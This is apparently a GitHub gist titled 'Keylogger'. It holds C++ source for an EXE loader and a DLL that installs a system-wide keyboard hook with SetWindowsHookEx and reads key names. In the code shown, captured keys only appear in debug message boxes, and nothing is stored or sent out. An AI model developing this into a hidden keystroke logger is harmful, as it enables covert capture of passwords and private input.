Skip to content

Instantly share code, notes, and snippets.

@MzHmO
Created January 25, 2024 11:44
Show Gist options
  • Save MzHmO/918a115e7562bc42af90798b03943b11 to your computer and use it in GitHub Desktop.
Save MzHmO/918a115e7562bc42af90798b03943b11 to your computer and use it in GitHub Desktop.
Keylogger

EXE файл загрузчик:

#include <Windows.h>
#include <windowsx.h>
#include "Header.h"

HMODULE hHookDll = NULL;


BOOL(CALLBACK* SetKeyboardHook)();
VOID(CALLBACK* UnhookKeyboardHook)();


int WINAPI WinMain(HINSTANCE hInst, HINSTANCE, LPSTR, int) {

	hHookDll = LoadLibrary(TEXT("dll.dll"));
	if (hHookDll) {
		MessageBox(NULL, L"Downloading chkcng", NULL, MB_OK);
		(FARPROC&)SetKeyboardHook = GetProcAddress(hHookDll, "SetKeyboardHook");
		(FARPROC&)UnhookKeyboardHook = GetProcAddress(hHookDll, "UnhookKeyboardHook");
	}
	wchar_t szClassName[] = L"Main";
	WNDCLASS wc;
	ZeroMemory(&wc, sizeof(wc));
	wc.style = CS_VREDRAW; //Вывод относительно нижней границы рабочей области
	wc.lpfnWndProc = WndProc;
	wc.lpszClassName = szClassName;
	wc.hInstance = hInst;
	wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);
	wc.hCursor = LoadCursor(NULL, IDC_ARROW);
	wc.hbrBackground = GetStockBrush(WHITE_BRUSH);
	wc.lpszMenuName = L"Main";
	RegisterClass(&wc);
	MessageBox(NULL, L"Window create success", L"DASDASD", MB_OK);

	HWND hwnd = CreateWindow(szClassName, L"Hook", WS_OVERLAPPEDWINDOW, 0, 0, 600, 400, HWND_DESKTOP, NULL, hInst, NULL);
	ShowWindow(hwnd, SW_SHOWNORMAL);

	MSG msg;
	while (GetMessage(&msg, NULL, 0, 0))
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}
	return 0;
}

LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
	switch (msg)
	{
		HANDLE_MSG(hwnd, WM_COMMAND, OnCommand);
		HANDLE_MSG(hwnd, WM_DESTROY, OnDestroy);
	default:
		return(DefWindowProc(hwnd, msg, wParam, lParam));
	}
}

void OnDestroy(HWND)
{
	PostQuitMessage(0);
}

void OnCommand(HWND hwnd, int id, HWND, UINT)
{
	switch (id)
	{
	case MI_OPEN:
		MessageBox(NULL, L"SetKeyboardFunc", NULL, MB_OK);
		SetKeyboardHook();
		break;
	case MI_EXIT:
		MessageBox(NULL, L"выход из приложения", L"DASDASD", MB_OK);
		UnhookKeyboardHook();
		FreeLibrary(hHookDll);
		DestroyWindow(hwnd);
		break;
	}
}

Заголовочный файл EXE:

#pragma once
#define MI_OPEN 101
#define MI_EXIT 102
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
void OnCommand(HWND, int, HWND, UINT);
void OnDestroy(HWND);

Исходный код DLL (dll.cpp):

#include "dllheader.h"
HHOOK hKeyBoardHook = NULL; //наш хук
HINSTANCE hCurrentDll = NULL; //дескриптор этой длл

BOOL WINAPI DllMain(HINSTANCE hDll, DWORD dwReason, LPVOID lpReserved) {
	switch (dwReason) {
	case DLL_PROCESS_ATTACH:
		MessageBoxA(NULL, "DLL ATTACH", "DASDASD", MB_OK);
		hCurrentDll = hDll;
		break;
	}
	return (TRUE);
}
LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam) {
	if (code == HC_ACTION) {
		wchar_t bykv[64] = { 0 };
		GetKeyNameText(lParam, bykv, sizeof(bykv));
		//wsprintf(bykv, L"0x%X", wParam);
		MessageBox(NULL, bykv, NULL, MB_OK);
	}
	return CallNextHookEx(hKeyBoardHook, code, wParam, lParam);
}

BOOL CALLBACK SetKeyboardHook() {
	if (!hKeyBoardHook) { //если хук не установлен
		MessageBoxA(NULL, "SetWindowsHook", "DASDASD", MB_OK);
		hKeyBoardHook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyBoardProc, hCurrentDll, 0);
	}
	return TRUE;
}

VOID CALLBACK UnhookKeyboardHook() {
	MessageBox(NULL, L"UnhookKeyboardHook", L"DASDASD", MB_OK);
	if (hKeyBoardHook) {
		UnhookWindowsHookEx(hKeyBoardHook);
		hKeyBoardHook = NULL;
	}
}

Заголовочный файл DLL (dllheader.h):

#pragma once
#include <windows.h>
#include <iostream>

Файл .def:

LIBRARY Hook

EXPORTS
	SetKeyboardHook		@1
	UnhookKeyboardHook	@2
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment